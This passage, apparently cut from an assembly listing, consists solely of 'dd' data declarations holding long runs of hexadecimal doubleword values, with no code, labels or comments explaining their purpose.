0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h dd 10060h, 43E10000h, 0C6AF0000h, 8CD4505Bh, 1505C2E1h dd 0CD794971h, 6397E919h, 0BF766188h, 0FCB46086h, 36A819DCh dd 0ACD337B2h, 0C3F8ED83h, 7EC2CB78h, 0DF39D269h, 495E1AADh dd 6FEE8560h, 0AD1476DEh, 51BF6116h, 92795193h, 7ADCA6E2h dd 0F9FEA068h, 530497A7h, 0A6985A0Bh, 38708DFDh, 0E39EBAEh dd 0B6D9638Ah, 5DE59DE9h, 961D677h, 0C36CCCDAh, 926919F7h dd 698B80B0h, 6C09F460h, 4BA96A14h, 95A1E77Ch, 92128B1Fh dd 0E682DEE3h, 4AFC228Ah, 43D0B450h, 610306DDh, 4897ECFDh dd 8E29B975h, 143041A2h, 0CDACCA73h, 21CB3C8Fh, 542A19F0h dd 0FBD85795h, 0A3222DB2h, 81370B2Ch, 71539F4Ch, 0FD97F983h dd 873B48A4h, 234BA044h, 0B158C517h, 0D11DFD94h, 58600D3h dd 4D5B935Bh, 0E49B86BCh, 877EEC8Fh, 0BFFD4AFBh, 9C99365Eh dd 0E9BA47E1h, 65ED50CAh, 4F634A27h, 0AD37C264h, 0A27AA8D8h dd 9970526Eh, 211E7108h, 0D3B202DCh, 1BF331A2h, 14299B0Ah dd 818FA23Dh, 0D3F28C2Ah, 0ED6EB924h, 0F2AF109Dh, 7EA10EFEh dd 0AD4ABB73h, 35F0A1C8h, 94896E51h, 0F7241F99h, 0A8D415FBh dd 0D310136Ah, 77E7539Eh, 0CF6E505Dh, 0FABCF30Fh, 0B3884C5Bh dd 3A1F32DDh, 78D1B26Fh, 0B783AE10h, 8B6E0BB9h, 0FA6F728Fh dd 426B95C4h, 0D3CB1202h, 0F42BF170h, 3054D415h, 0ADE256E6h dd 0E8ABE1C2h, 72207691h, 0B881F19Bh, 0DBB8230Fh, 0AFC23B97h dd 7B012EF6h, 0B9F8FD01h, 8F3002DAh, 0CDBFA214h, 0ACE35F52h dd 0DA0CEC19h, 0B0A66D64h, 0DB94F6D3h, 501084F2h, 8785C33Eh dd 3D7B4CE8h, 66A78CDh, 1F053C1Fh, 486B46A2h, 79809BB7h dd 38F85BA2h, 2491C9CDh, 5DDD115Ah, 0A28F2D9Fh, 5ECFF5CDh dd 7E6FA1DBh, 66740F36h, 0D3A9F5Ah, 73DE6E7h, 607A8FFFh dd 0F9189578h, 718138CDh, 9C94FA0h, 4CFE0C3Eh, 673AFE63h dd 87F2A8A4h, 5DC45DBDh, 0D676E698h, 0F8825D66h, 8E1FED01h dd 0E15BDBABh, 4CEEE9A9h, 8282899Dh, 4FEC63DBh, 48A84B59h dd 7C218623h, 87CEE524h, 6F52DC25h, 0F108A5CAh, 0DB5D1A8Eh dd 6AF9A583h, 0F21DC58Dh, 1AF2640Dh, 89969B7h, 6F46949Eh dd 9A83C8FDh, 0FA4C8AEh, 7F468A98h, 3B81AE65h, 489A9525h dd 0C111B845h, 946357D8h, 0B8D49600h, 2369DCECh, 0D4DD3B90h dd 915B76E8h, 0D7D84AACh, 62DF507Ah, 560CAB14h, 1780BE79h dd 38C616F2h, 0A1AE9D58h, 9603A453h, 0C7353BC3h, 4684FAB2h dd 0CBA8455Fh, 67E1A5Ch, 0A18E059Eh, 0C733ED92h, 84B2A698h dd 0AD79421Eh, 6C50944Fh, 0F49134CFh, 4CC84195h, 9F204EF0h dd 26044A54h, 4C50EC10h, 452AC1B9h, 30FE0A8Eh, 0F03190C1h dd 0ADE4D4D6h, 118543F3h, 0A324D586h, 6FD33B98h, 84F08FC6h dd 0AF1A197Ah, 0EE0AD61h, 3F888551h, 0FFB65BFAh, 0E0BB69D3h dd 6E47989Eh, 0CFD0D142h, 4A024468h, 0B381A04Eh, 150856B2h dd 3A53B6B2h, 1F86EF7Dh, 4A3DDFEFh, 412B4163h, 5A47ECF8h dd 72B26E92h, 0C99D128Ch, 0CC2ABE0Bh, 4185B904h, 863B22C6h dd 0C5D287Dh, 7365C3D2h, 8C8FF99Dh, 0CFAE1A2Dh, 919E4937h dd 6DC0678Fh, 27BF5B4Dh, 0CC9A2FDBh, 7E5D8AA4h, 53DB07DFh dd 50B5343Dh, 5870E709h, 8B4B4135h, 0E3B44CAh, 79CA6924h dd 8B3AF0FBh, 71B2595Bh, 0E7E5EE08h, 5C23E8D0h, 9D3FC50Ah dd 0FE5AFF3Bh, 0BF83E894h, 0A919CD75h, 511D8719h, 4A61AFB6h dd 49B7F038h, 6B83822Fh, 999F3F5Dh, 7CBC821h, 30EF73F5h dd 0A91F4452h, 5067B44Ah, 4CCEE1F0h, 9C53831Dh, 0AFC45FF7h dd 0BE5444C9h, 0F8AB6678h, 0FC12651h, 0E5B0EDFDh, 7467B27Ch dd 0F7A85076h, 390B51DBh, 695E1E41h, 26969971h, 2B36BD55h dd 0A040422Ch dd 0FEBD4187h, 0A35DBDC3h, 0F1C12044h, 0D471CE26h, 80458B9Eh dd 5A2D5177h, 9F9C8069h, 14016090h, 33F4443Dh, 815D7BBh dd 2B78F6CBh, 0A64F3B7Ah, 28363724h, 21A536BFh, 0F29F5A85h dd 0FF18CD9Eh, 67AD8764h, 42E3955h, 13FA3808h, 5887C26Eh dd 8E70D4E5h, 5496E7D5h, 5CED2D87h, 0CE0558C4h, 0C374810Ch dd 6FF9A802h, 112D7AAFh, 0D74BE278h, 0E5110059h, 0E85D745Ah dd 918FE7Eh, 0CB830096h, 0FECD8724h, 0A71C1838h, 4AA9BDB0h dd 75892AB7h, 0C1AFB07Ch, 0EAC4ECB4h, 92D2186Eh, 5C9597A3h dd 0F4B89741h, 0EFA00BD0h, 0FD40EACDh, 9F71C8FBh, 5C7EB43Ah dd 22759A3h, 2DB84EDh, 9E6D0D75h, 8354B447h, 79883349h dd 0C2766612h, 0FE3978BDh, 0CC44BD75h, 0A16A7CAAh, 5AD75DF8h dd 544E0247h, 473E9FFFh, 9E82D2F9h, 94464A73h, 0C2150AE1h dd 0A290483Ch, 0D5A3EE50h, 2D133D61h, 3EF54411h, 0C5DE5E10h dd 0E05489DBh, 3DEED910h, 0E18FB7B6h, 7765B3A3h, 0E9A0ED9Dh dd 5845472h, 8EE9AE7Dh, 22D1A196h, 32C21E51h, 8669B6F0h dd 0A618AA2Ah, 5ECF1290h, 0BB389149h, 3B91593Bh, 9AA128DAh dd 0FAC61D4Dh, 0C0F742A9h, 0BD3AB0C3h, 47FABEDEh, 9CA9B6CBh dd 75E1DFB0h, 25255BCCh, 19C617F1h, 355E7AF1h, 34E58447h dd 367F6CF4h, 0CE3D8393h, 0F399BB31h, 1107894Dh, 85A42AA4h dd 5413E9D1h, 1406E9ACh, 675C6A69h, 4A8DA5D3h, 0F67E4C97h dd 0F4FD6F8Ah, 0BFA3FC2h, 65D2E5F1h, 52F5C008h, 0F451C328h dd 28F953F2h, 0A7F4B3E1h, 5DFF41EEh, 3D94920Ch, 8D8F2F0h dd 0B85266D9h, 45A77070h, 9A7F70B0h, 1A7F3F75h, 4728C0F8h dd 71451129h, 0CA0D70F1h, 0CC60FC7Dh, 0F6AA8588h, 0D64534CDh dd 0D6ABCD61h, 6F5FAB98h, 305C6C12h, 0D5F3BC50h, 1A3BD5Eh dd 976CE8E0h, 7B200B99h, 0F8649D6Fh, 9F849539h, 0F682A040h dd 4B3DC1D4h, 206965E3h, 50298096h, 11E35456h, 77807945h dd 96C32AD9h, 19C98F08h, 22717B90h, 438DF379h, 0AEA6C8C9h dd 0F501CA52h, 0DBE20EBDh, 9E56E901h, 0CF3A1ABFh, 2D3A2706h dd 0DC112A3Fh, 4C8350D2h, 7BFBD89Ch, 3F5F7523h, 9BC49575h dd 9CDBF0E1h, 0F65E0200h, 0DBA1312h, 0AEC6B68Bh, 45608C09h dd 6A12B809h, 0CCAF77A4h, 0DED9B85Eh, 863AB0AFh, 60783AE6h dd 921BE29Dh, 5F4CA799h, 14A77C2Fh, 0A3562E68h, 48C13A13h dd 41E83A8Eh, 70E95962h, 379AB543h, 0A4F58CD3h, 106BEC3Ah dd 72EE61DCh, 3A1E2F36h, 5969FAh, 961007B6h, 5B783179h dd 1D6F0A21h, 1A01368Fh, 26DDDADh, 43B20A6Fh, 0AB914AC8h dd 0AFD145FFh, 3CDD0AFFh, 0DCC3E37Ah, 64F9E46Fh, 9B2899F3h dd 0A1725B23h, 152E3B62h, 83F6B157h, 0BFE15328h, 0E81BAA17h dd 0E8221C0h, 0E565C918h, 36006176h, 724B919Bh, 23B06F5h dd 0FCEEDA2Eh, 0D6005F8h, 517B950Dh, 81AD7533h, 318E34B2h dd 0FCA76317h, 26307B2Ah, 68454C24h, 0CAC25977h, 48A702FEh dd 0DCB80DA7h, 0EF83F921h, 0ABB5A604h, 732B4763h, 69A15167h dd 3F91540Bh, 0C66A985h, 3B6880Ah, 143B7406h, 0E6F058D1h dd 0D81A789Ch, 5B3AF0EBh, 0B270EF87h, 3F34DD0Dh, 87AA60EEh dd 524158B9h, 1A9B54D3h, 172A1379h, 32821B98h, 0CDE23B59h dd 59AF3A85h, 551896EFh, 9C6EBB09h, 0B896D800h, 0DCB818ABh dd 10364C42h, 907D177Ch, 0C67694B6h, 0F5230975h, 36CEAA24h dd 0F0DBC84Eh, 0C599FE30h, 5F3C1B4h, 72C361C6h, 3A1B3584h dd 4876C73Eh, 0FAA0F1A1h, 1162EF45h, 1DF5B366h, 0F3C45FAFh dd 1D7E3BB7h, 1B90A829h, 0BCA03BB5h, 3A723456h, 91365F37h dd 846C47E8h, 0A2E2CFCEh, 865F7EF6h, 1349D953h, 969E0A45h dd 0D04DE926h, 240100A3h, 810FE107h, 0CA2F582Eh, 7FD2089Ah dd 0F54D7B8Bh, 0F11F1BECh, 0B5D553D1h, 0E91E360Eh, 46A0D779h dd 28C72D5Ch, 55A42568h, 7B89A137h, 0CA7DCC58h, 0C050D8h dd 4086334Eh, 8CE5BFCh, 7EBD8BA0h, 7FD83B99h, 9687098Eh dd 75D4D4DFh, 14CD6B83h, 19A3B78h, 0A3F90276h, 0E53878F7h dd 0E8493209h, 0F014EAEDh, 93BB733Ch, 0C663DAB6h, 0DEE62F27h dd 8AA20608h, 28E52861h, 0CC1F406h, 6C405447h, 5CAF61AEh dd 0E6ED6A86h, 0D36F244h, 136D6AAh, 0E6772AAFh, 0C27CD60Dh dd 0CBCD951Dh, 97850DACh, 0F55E85DDh, 2CAEDB7Ch, 0DAC9E0D6h dd 6E40E48Ah, 254BC2FBh, 3AC329B6h, 0F3A518C5h, 418BA697h dd 480BF16Dh, 81871C94h, 2271D6AFh, 1E1FA9ABh, 69181D20h dd 440F8699h, 0F76362AEh, 0D14979C9h, 9285EEC3h, 2B010985h dd 148439E1h, 0F988893Dh, 0BF82DD4Dh, 7B2427Eh, 6469145Fh dd 76C650EEh, 7FFB20E6h, 0CEA95E96h, 4EFA3B5h, 898EA7BCh dd 7ED26CF6h, 12873E15h, 0F4AF81Bh, 0B8A56927h, 81B4A5E8h dd 19D12F9h, 0C4C84D2Dh, 0B428045Eh, 4D17CA2Fh, 32C9D7DAh dd 0AC4FFD70h, 4F3A8D8Bh, 9D77D689h, 2CA53EF9h, 2CF12B89h dd 7854B340h, 74BB1248h, 0E47B21C3h, 78DD0270h, 0E8CD0725h dd 79F7660h, 0C9D42D9Ch, 415C5B38h, 57433368h, 86AC8C62h dd 8B27E877h, 9E31D34h, 63A06568h, 374D4C4Fh, 0BCFC5B4Bh dd 87B8FBD9h, 0DE0FB7Eh, 0ADA7133Eh, 0E7DB6E4Ah, 1D35166Dh dd 93874A71h, 7A10C310h, 0B9887338h, 3C57F715h, 932AA8Ah dd 670D883h, 6BB057DEh, 0E5A5A21h, 9CC118E0h, 60EC1A42h dd 0F99F9002h, 6B3EB22Ch, 188E2E68h, 3EAF8B60h, 96A4DE25h dd 6270ADAEh, 0F929E51Ah, 0F01E9660h, 0B7F57A92h, 0CDD51CF9h dd 8C2650E4h, 29FA24D3h, 0FCDE6A06h, 9D63B45Eh, 87F3DACFh dd 65C6FFD8h, 0AB84C238h, 8ADE43C6h, 0D55D5905h, 0BDE96217h dd 0D62CBCECh, 67E59490h, 0BEFEA251h, 5B19B67Dh, 6C470AEAh dd 59324D44h, 22C0B694h, 0DAA07AECh, 7EBBB554h, 0BB03CA3Ah dd 6877D497h, 8BD5CC98h, 170E2212h, 74229750h, 0D4893D19h dd 22FF7DAAh, 0E0307AC3h, 0A763C99Ah, 964195E8h, 0F4C5DB9Eh dd 9B47F8FFh, 0FD4E8555h, 86680641h, 2FCE64CDh, 0C7164641h dd 16C3C61Ah, 7C8480CFh, 538B777h, 855A4F24h, 9D4EB94Ah dd 5B1BD302h, 0C409B33Dh, 5CE9B7EDh, 0EFEF4D02h, 734787C9h dd 1123B690h, 0F8FEEE6Ch, 0A72D4915h, 9B583637h, 0DA1DE07Ch dd 59CA835Dh, 1E756446h, 0BC3A7992h, 51B06422h, 2D7A9CB8h dd 4E11FEE1h, 309BB585h, 0C2AD007h, 0B003124h, 0EC9BBE70h dd 91FF8F0Ah, 1581A746h, 48B909F8h, 0AF4EBF42h, 27578E13h dd 83198546h, 9C31A5Fh, 8765F186h, 0F5693BE9h, 0ACD8D3FAh dd 7A8F0E8Eh, 81F497A9h, 0E0E70598h, 0B3C3D6FCh, 5145DDBDh dd 40C28086h, 0B7AF0D19h, 0CE13AE14h, 0F534215Ch, 5A2A2DE3h dd 0F70CC508h, 6802FD9h, 0D0922999h, 773EB08Bh, 9CB9ADC8h dd 0FD409A81h, 6F2BA35Dh, 931B8781h, 1D2BE9A6h, 0C334C1B0h dd 0C926FBE4h, 356A6C1Ah, 8CF4C427h, 0E8B33680h, 0FE9B057Eh dd 0E0C12429h, 23DF3721h, 0B6508580h, 8159FBEFh, 11ADDDF5h dd 7D78AE0Ah, 0E9520C76h, 0DA481CAEh, 0FE53E67Eh, 36ABD598h dd 2B6872C6h, 0DE60C9BEh, 5CB1FBE9h, 0D74CA3DBh, 76BAC8D1h dd 6D1AB3C0h, 0B641FDBCh, 36EC7AD1h, 0C55CE8D0h, 0ED05E000h dd 0D5C950C5h, 91875E94h, 7281B38Eh, 87F52103h, 77961719h dd 714DB626h, 1D91889Eh, 8B7B76FAh, 47799289h, 319D9036h dd 0B04B28A2h, 0BC68F5B6h, 8B1D8EADh, 0D2AE7EFDh, 0F583B37Eh dd 0BB55C91Eh, 0C2294041h dd 40A8583Ch, 0D8854E33h, 0A6C49329h, 137B8847h, 254C34F3h dd 0C48E0FFh, 0D8D249DEh, 0C76B1B6Eh, 1264A081h, 9410676Ah dd 3EC01942h, 0C809C98Fh, 17FB9CBAh, 5C93AD04h, 5922BAE3h dd 0BA64410h, 0CB1A3208h, 389B9BF1h, 27B712C7h, 0E8157B22h dd 89D92338h, 49237FC3h, 0CD02C516h, 0FB112AF4h, 1D8334E8h dd 8EF78036h, 7F585D6h, 0DE50C96Bh, 61DF00F0h, 9F0D7AF0h dd 98538954h, 71472B94h, 0C012D8F7h, 0B24166F7h, 4D3F4ED1h dd 427A91E3h, 613A201Eh, 0AE163756h, 39420303h, 0C2A40AC2h dd 20AA80FFh, 7E151CB5h, 4E70D27h, 8EE5DA6h, 0E4EB48F6h dd 0E5DC69D8h, 2FF6E22Dh, 8D8DE6F2h, 0A97B972Eh, 7B47E438h dd 4B8ACD91h, 0F16FE26Bh, 0DD323BCCh, 0A0E5234Ch, 0DFC16F71h dd 0DB84A441h, 0CA9D3EA0h, 42A930A0h, 0C4D05687h, 0EEAB3463h dd 5EDB9725h, 0DAEB1CCCh, 18908A9Eh, 565780D3h, 9D40D5B7h dd 0C8A8906Bh, 0FD2711DCh, 5C864F56h, 0B54DC2D1h, 32D3F822h dd 306457E5h, 1D6B97EBh, 0A6118851h, 3362287Fh, 7AF7BD38h dd 6638AF11h, 0D8D6B52Ah, 0E7845860h, 0E0E45708h, 2392A74Eh dd 0B4AE7ADFh, 372893EEh, 30C67945h, 8B578480h, 0D138360h dd 767126Ah, 80D9B51Ah, 0E9E38AA1h, 56CB7801h, 0D34FBABDh dd 63D607DDh, 4F76A422h, 0BD1F6238h, 5452DFBh, 3DA73D3Dh dd 350188E5h, 63F88654h, 9A5C0E18h, 0E6951647h, 3D4C7223h dd 0C5F77818h, 5E594DCh, 68D48F7Ch, 0D0140269h, 89F834CEh dd 6912F8B3h, 0AA992BE4h, 2C5D4A00h, 62BE6F6Ah, 0E10F0964h dd 76BDC72Dh, 0F8E5F746h, 0C872B93Bh, 0B2BAFBB6h, 976F5D35h dd 9E99CC32h, 181F28B6h, 1722D8EDh, 0F50AD97Bh, 6AD133CDh dd 0D495D9C3h, 0D7AFBAE4h, 0E35FDA8h, 0EAEF72CAh, 70ADCB28h dd 3C2E7071h, 15039E55h, 95F476E9h, 78781C38h, 7E4962C9h dd 91E98h, 17B3A588h, 918D4D6Bh, 2A781003h, 339C02EAh dd 29B35CEh, 1CA39EE4h, 0B5369568h, 517A5657h, 0ECD9B789h dd 5DE99006h, 54DE0A89h, 0DD079F02h, 0D59CADD6h, 0E7C56485h dd 2F9055D5h, 0C9EA6F5Fh, 3FF5D8F0h, 58B2A8E5h, 988DA2F7h dd 0E434CF99h, 9E84A3B5h, 28102C6Ah, 0AB20FF59h, 0BDEF2044h dd 36717B49h, 2D7F865Ch, 1F4A771Ch, 252D1274h, 8520E85Eh dd 2AB55BB6h, 5BC23E0Ch, 0C1B8D159h, 0DB00BCFEh, 0CC7D6CA5h dd 2B193244h, 34134B7Dh, 3C2AE1FDh, 23DF6C20h, 0A28B6872h dd 2CA57074h, 0C9EF6126h, 68CBD655h, 304672EFh, 0D416B4BAh dd 3FB4F919h, 75F6AA2Ch, 4B699532h, 89ECC0F5h, 0CB1DE612h dd 0D252186Bh, 358A8935h, 915D4C82h, 9FAA3B48h, 77EBC841h dd 3AC4348Ch, 0A04C0BE2h, 47C05ECFh, 6FBB69C3h, 8D943EFFh dd 574D3CCAh, 9F82C08Fh, 7E47FCD5h, 0A16B6726h, 0DDAF91BCh dd 0EC14685Ah, 36E36309h, 286850FDh, 0A87BEC20h, 0FFD02EEEh dd 2EF2C2E1h, 9B2A5BAEh, 0D51FCFF0h, 8E639470h, 0DA84AC43h dd 0F4AA5026h, 58D0A9ABh, 9D80F076h, 0F172DDCh, 6ACC04E3h dd 49344003h, 3B1E7F6h, 2A0A0A0Dh, 0B9822920h, 3C5826E0h dd 1DA56CAEh, 248E11A2h, 0CD38DD8Ch, 0A6E7B511h, 0E3CE4238h dd 98E04F1Bh, 0F25378A6h, 49F05F7Ah, 0AD9C4EBEh, 0E27809D9h dd 0D066DA8Bh, 8C0D10ECh, 45ECE64Ch, 0E8F29D6Eh, 0C726B5F0h dd 0F6C037FBh, 0E1596CA6h, 0A4B961FBh, 0F6FDBF36h, 3E2F43D2h dd 9124BDD6h, 0F7640DC6h, 0ECD95277h, 59085F6Ah, 65CB9E30h dd 31655C96h, 0DAFDC4D2h, 3006033Ch, 85D7378Ah, 0E9E0B55h dd 8AB2173Ah, 3D1934BBh, 42D37FA7h, 38F2E8D7h, 0C02D4662h dd 0EBE31276h, 56A1B5B7h, 9CFFBFD3h, 99DF8322h, 9246A6E8h dd 0F6A215BBh, 0A2EBD3FBh, 6761F581h, 76925B9Ch, 851364E1h dd 0ABE78621h, 4F41C6E1h, 4A80B652h, 6BD9BFF4h, 0F6ED40h dd 0F0D822CDh, 0CEB7D51Ch, 0B44970C1h, 0C37CD952h, 75CE7976h dd 0A8C6CCA7h, 0BF20C9E2h, 0C8EB74FCh, 0B222F78Dh, 26291E58h dd 9E73A1ECh, 3A8A221Fh, 147676BCh, 7ED47E16h, 0D4F84C69h dd 0B42CE442h, 34FF1122h, 31550DCBh, 8BD0DA72h, 6AAB3A06h dd 5D0D3D33h, 770A66ADh, 0BCDD1BECh, 4BF3A1A4h, 578CC2E3h dd 0D2196B97h, 0A847BB8Ah, 67CE131h, 28C8427h, 0D33F2306h dd 0D1DE3720h, 0C8FB30DBh, 6FE59D83h, 3C59A906h, 9DBE1905h dd 6BC0E5EAh, 0C82AD058h, 22E034BEh, 0F94AFBABh, 0F023C2D2h dd 0B6B3CD6Ch, 57F3B051h, 0C49263BAh, 2FE3AD57h, 16DFF388h dd 94B6465Ah, 7B092350h, 0E0B5205Ch, 5CEF44DBh, 0F1B900BDh dd 3E9FB1D4h, 72DCEF0Ah, 92996CCDh, 3A782FBDh, 0E3DC9DFBh dd 54717B28h, 0D452AA62h, 2E4944CEh, 0B3D075A6h, 0BB774CC6h dd 0B6469757h, 554886B7h, 494A57B1h, 36FB2956h, 648C7C0Dh dd 48EBF955h, 0FDDC38EEh, 168FC9ACh, 8D13978Bh, 3CEC9B33h dd 0A39AA4FDh, 0CAD45F0h, 83A71278h, 0B8BB496Eh, 46053A77h dd 68483C49h, 0E6C2710Fh, 0D69FF2A8h, 99569761h, 0BC0FBF85h dd 9A9F9655h, 44D0CCA4h, 79E4F864h, 0FCA6AAF0h, 50496C11h dd 6FCA620Bh, 8C726DBFh, 0DE5C6373h, 4BD28E33h, 7901FEEDh dd 6F2A760Ah, 819B901Dh, 0E9C179DCh, 0D3492BD0h, 0D48E27B8h dd 65E77C52h, 0DC9E8EA4h, 0C606D23Bh, 0C02D5B89h, 82A3ECB4h dd 0AC033705h, 7739683Bh, 733083B9h, 2A47E126h, 624A619Eh dd 5925EA09h, 0F2C6D2DAh, 9CCFC4EDh, 0BC1681B7h, 3E3301D2h dd 0D43B34F2h, 0AA1B4BF6h, 0B2AF8F9Ch, 0C9727D9Fh, 99C0655Bh dd 6AC9E85Ah, 2D6E10E6h, 0A6447259h, 0A341C6AAh, 4F712562h dd 0F2E86108h, 5C2A0323h, 7EBA39CBh, 2AF9E350h, 0F1FD182Fh dd 1F2A6717h, 0D36BF43Bh, 0F80868B2h, 0F96F7DBBh, 0A5422E8Fh dd 591595F6h, 8484AE30h, 0D3ECC10Ch, 0BDE056A4h, 0A46458B9h dd 11495691h, 4DBE1579h, 10CB01DEh, 0E6CEDFDh, 0A44A08EAh dd 10F13A17h, 6C9FC280h, 5E24F782h, 0F5168DE0h, 0D4D772B2h dd 25A4BF2Fh, 0CF27D4E3h, 75A8D1B6h, 4227F1D9h, 0EB12185Eh dd 0BD0536E3h, 8BDA484Bh, 3A16D0E8h, 0D7375187h, 2C14BC79h dd 413EFD05h, 6E2DC4D7h, 0F3E44855h, 826C339Ch, 84CCE399h dd 40A63A88h, 0DF8108DFh, 0E6692D4Dh, 8B768B80h, 0C9D165EDh dd 64C2EC0Eh, 0E341F6A4h, 0DFD797D7h, 1C1A4B56h, 89C8BBB7h dd 25AEA127h, 480BD07h, 0B9392EA7h, 94C6E9DEh, 6A9B4944h dd 69FA5CCBh, 0C3B43B64h, 0DBE29B2h, 0E0BF5BC0h, 7A753325h dd 3EBBE7AFh, 6ABB0754h, 0BA1D615Ch, 773A79Bh, 3199C950h dd 5641C98Eh, 325995FAh, 7AF1A433h, 0D33B0669h, 0FA5422B5h dd 135321C0h, 0EDDFEB41h, 6E09F87Dh, 6DEFE179h, 0C85D204Fh dd 4A78240Eh, 66D22048h, 20D49833h, 0D0DED489h, 0C5BDFE86h dd 0F485CF5h, 0D6C9DBD8h, 0F35A1B03h, 49CDEC49h, 8264F847h dd 6B1C53E6h, 0D360B7A5h, 1BCBDE98h, 81FFBD9Ah, 0F520781Bh dd 9AA05DDBh, 90B9C181h, 5889831Dh, 11BF23C8h, 8ADF6D09h dd 4DE27B1Fh, 316F8161h, 976FD985h, 584A9073h, 7749B001h dd 0F232C47Ah, 0B74D6E89h, 151F948Dh, 0F635D528h, 173DA0FFh dd 13D5A993h, 278F3008h, 581A2813h, 2245F497h, 401C8909h dd 3C9E5AE6h, 5DD04A9Fh, 589A2053h, 0EE87841h, 5F4CC548h dd 55ACDD8Eh, 1F2B1D06h, 5DD11428h, 3C6B1878h, 70B350Eh dd 0F9CFD9FFh, 53E2D10Bh, 184A3647h, 3A781A51h, 8643985Bh dd 8A1B6386h, 9F8287EBh dd 4F064D39h, 7997B7BFh, 0A24DEAFh, 953BB94Bh, 2C6CE8D0h dd 77C25151h, 694B75F8h, 73B9A8BFh, 9B204EDEh, 2B57CA92h dd 11415664h, 1E6D1381h, 7288BA4Fh, 8E2CA306h, 80898E23h dd 0BE4BC99Bh, 799689DBh, 0E19CD3B7h, 0FE31CE69h, 3A55A9B9h dd 814F94E0h, 90DAE78Ch, 0B9A1FCD1h, 1354D534h, 0CE496EAFh dd 0C1DD6355h, 0AA7FDEF4h, 79DD863Bh, 86826D2Dh, 0A6418AF0h dd 3CABA88Ah, 4173278Bh, 9E1E6A0Eh, 7122D783h, 36EB2504h dd 3D653C0Dh, 0F5FA482Eh, 6F9F482Fh, 53E62BE0h, 59B9F1BDh dd 0A877CE9Ah, 0A999419Ah, 31E12544h, 28D247C2h, 6F2A0134h dd 0ED114CC7h, 3F5E9E9Dh, 9A9A05F3h, 0A3ACCD40h, 0D288A83h dd 97810490h, 0D2A5BCF2h, 6901DEAh, 0E5253704h, 0C15F6896h dd 1FE3E58Ah, 236F1B7Ah, 0E167A519h, 0C9151F91h, 31109C05h dd 2E16C0C2h, 0FC84C957h, 0E9797D1Ch, 9F387416h, 0C5914A93h dd 3C98280Dh, 408644F1h, 78357283h, 5097F424h, 0C958189Eh dd 892E2209h, 0D7FF6605h, 3B7CACA9h, 1FFCFF28h, 4A71C84Fh dd 0B41C5D83h, 0DE5C5DBEh, 0C86F1B5h, 0F07C00E9h, 543D66AFh dd 64C664A1h, 5155277Ch, 0DD9141C5h, 0B64DC851h, 3C7441Eh dd 99CE3D72h, 0E2E78E94h, 3A621631h, 0D1FCF9D4h, 0EB05B435h dd 41FBCB2Dh, 0F4C23C3Fh, 0F67CC8B9h, 8D7909FAh, 0FAA7F8DFh dd 1A0AEC2Ah, 32300F45h, 0AA6E34C8h, 21E5EC89h, 0F2C85225h dd 64ACE476h, 0CA8535F4h, 591A63A6h, 715C7A66h, 9C2DD223h dd 0DB7E9DC0h, 7413B3Bh, 5942C0F2h, 0BA3DAEA8h, 0FD35B0F0h dd 0C5A03544h, 0F6AEE26Fh, 2919A94Bh, 576E04C8h, 46C227CCh dd 0C22C749Ch, 48933372h, 19AAE79Bh, 1B740F2Fh, 0BF151D37h dd 0CDE31F6Bh, 1ABC3AA7h, 0FB91EDFCh, 0A0D6C223h, 659914F6h dd 58C7D530h, 825C23E8h, 0E1BD3A10h, 0EF4A3EB8h, 0A609C8F0h dd 748293A5h, 0D8A7A150h, 782FA3BFh, 81756D07h, 1A6F394Fh dd 0F0EAD9C7h, 98B2ED17h, 2E6EA73h, 7F4571D0h, 4E2D37C6h dd 55CD795h, 0A9E02DE5h, 181C46Ah, 0F11EACF8h, 392F3Dh dd 501CAFCAh, 0FE9C284Ah, 5610B694h, 4E90ED01h, 4B32D3D5h dd 471E5B92h, 671F0AC8h, 14C60325h, 85B2D82Fh, 3BC5D013h dd 25FD4750h, 99924C41h, 2C7A1BC3h, 4ECE6157h, 0E8B475F0h dd 8ED44E4Bh, 492F89D5h, 1C2A899Ch, 0BE1784D2h, 8ACE89C1h dd 0CBC6DB5Fh, 84D6AE8Ah, 0BBFE28B6h, 21D9995Dh, 33BCF614h dd 0AF1AB6BAh, 0E15C6751h, 0AAEF91BCh, 26DE12D6h, 0EB616441h dd 8D8C14F0h, 34DEFCEFh, 44A02E58h, 76DFB76Ah, 3AAFEFF2h dd 58C8BC49h, 99C1AE34h, 0AC4AB879h, 0EE2643B9h, 70A4B35h dd 0B6D1E6B5h, 0FAE3D1EFh, 927F96E3h, 9BDD3E82h, 0D0B79CE0h dd 0E7CEFB4Fh, 0BC1DC3A0h, 7A3015B5h, 0CCBC1B36h, 0A0219AD3h dd 0DC02B2A0h, 5A4DE449h, 3DE09934h, 28F0AB22h, 2C2DE46h dd 7C63D8C6h, 10D7FFB9h, 11DAA05Fh, 27C36BACh, 0A0B9FAECh dd 388BD88Ah, 55125C31h, 52AF2433h, 749FE978h, 0E6352994h dd 0DB2C4889h, 0E04E2082h, 5D732590h, 0FEABCFEDh, 0B90F1622h dd 0FCE3DCF9h, 0DD2057D8h, 619781FBh, 0BDFABA68h, 740C1B6Eh dd 96C9856h, 0A44ADB2Ch, 0FA9B90F9h, 69AED042h, 477ECCF6h dd 5A1C7CE2h, 2D4A385h, 619845D1h, 0BEC058EDh, 6CD04B26h dd 808FBA95h, 6525BAF8h, 8B2B7A47h, 7BA4297Ch, 